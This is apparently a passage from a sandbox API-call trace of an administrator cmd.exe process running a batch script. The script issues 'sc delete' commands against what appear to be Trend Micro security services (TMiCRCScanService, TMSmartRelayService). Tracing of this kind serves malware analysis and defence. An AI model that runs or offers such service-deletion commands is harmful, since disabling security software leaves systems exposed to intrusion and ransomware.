lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.605] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.605] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.605] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.605] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.605] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.605] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.605] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MSmartRelayService\n\n\nA\"\n") returned 1 [0068.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="imartRelayService\n\n\nA\"\n") returned 1 [0068.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="CartRelayService\n\n\nA\"\n") returned 1 [0068.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="RrtRelayService\n\n\nA\"\n") returned 1 [0068.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="CtRelayService\n\n\nA\"\n") returned 1 [0068.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="SRelayService\n\n\nA\"\n") returned 1 [0068.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="celayService\n\n\nA\"\n") returned 1 [0068.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="alayService\n\n\nA\"\n") returned 1 [0068.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="nayService\n\n\nA\"\n") returned 1 [0068.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="SyService\n\n\nA\"\n") returned 1 [0068.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="eService\n\n\nA\"\n") returned 1 [0068.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="rervice\n\n\nA\"\n") returned 1 [0068.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="vrvice\n\n\nA\"\n") returned 1 [0068.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="ivice\n\n\nA\"\n") returned 1 [0068.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="cice\n\n\nA\"\n") returned 1 [0068.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="ece\n\n\nA\"\n") returned 1 [0068.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.609] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="\ne\n\n\nA\"\n") returned 1 [0068.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.609] GetFileType (hFile=0xb8) returned 0x3 [0068.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.609] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.609] GetFileType (hFile=0x120) returned 0x3 [0068.609] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMiCRCScanService\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMiCRCScanService\n", lpUsedDefaultChar=0x0) returned 29 [0068.609] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1c, lpOverlapped=0x0) returned 1 [0068.609] GetProcessHeap () returned 0x1b0000 [0068.609] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.609] GetProcessHeap () returned 0x1b0000 [0068.609] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.609] GetProcessHeap () returned 0x1b0000 [0068.609] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.609] GetProcessHeap () returned 0x1b0000 [0068.609] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.609] GetProcessHeap () returned 0x1b0000 [0068.609] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa40 [0068.609] GetConsoleOutputCP () returned 0x1b5 [0068.610] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.610] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.610] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.610] GetProcessHeap () returned 0x1b0000 [0068.610] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.610] GetProcessHeap () returned 0x1b0000 [0068.610] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4a) returned 0x1cba10 [0068.610] GetProcessHeap () returned 0x1b0000 [0068.610] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0068.610] SetErrorMode (uMode=0x0) returned 0x1 [0068.610] SetErrorMode (uMode=0x1) returned 0x0 [0068.610] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.610] SetErrorMode (uMode=0x1) returned 0x1 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0068.611] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.611] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.611] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.611] GetProcessHeap () returned 0x1b0000 [0068.611] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.611] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.611] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.612] GetLastError () returned 0x2 [0068.612] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.612] GetLastError () returned 0x2 [0068.612] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.612] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.612] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.612] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.612] GetLastError () returned 0x2 [0068.612] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.612] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.613] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.613] GetProcessHeap () returned 0x1b0000 [0068.613] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.613] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.613] GetProcessHeap () returned 0x1b0000 [0068.613] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb0) returned 0x1c9180 [0068.613] GetProcessHeap () returned 0x1b0000 [0068.613] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb0 [0068.613] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMiCRCScanService") returned 1 [0068.614] GetProcessHeap () returned 0x1b0000 [0068.614] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.614] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.614] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.614] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.614] GetProcessHeap () returned 0x1b0000 [0068.614] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.614] GetProcessHeap () returned 0x1b0000 [0068.614] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.614] GetProcessHeap () returned 0x1b0000 [0068.614] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.614] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMiCRCScanService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMiCRCScanService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TMiCRCScanService", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x344, dwThreadId=0x3a4)) returned 1 [0068.618] CloseHandle (hObject=0x54) returned 1 [0068.618] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.619] GetProcessHeap () returned 0x1b0000 [0068.619] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.619] 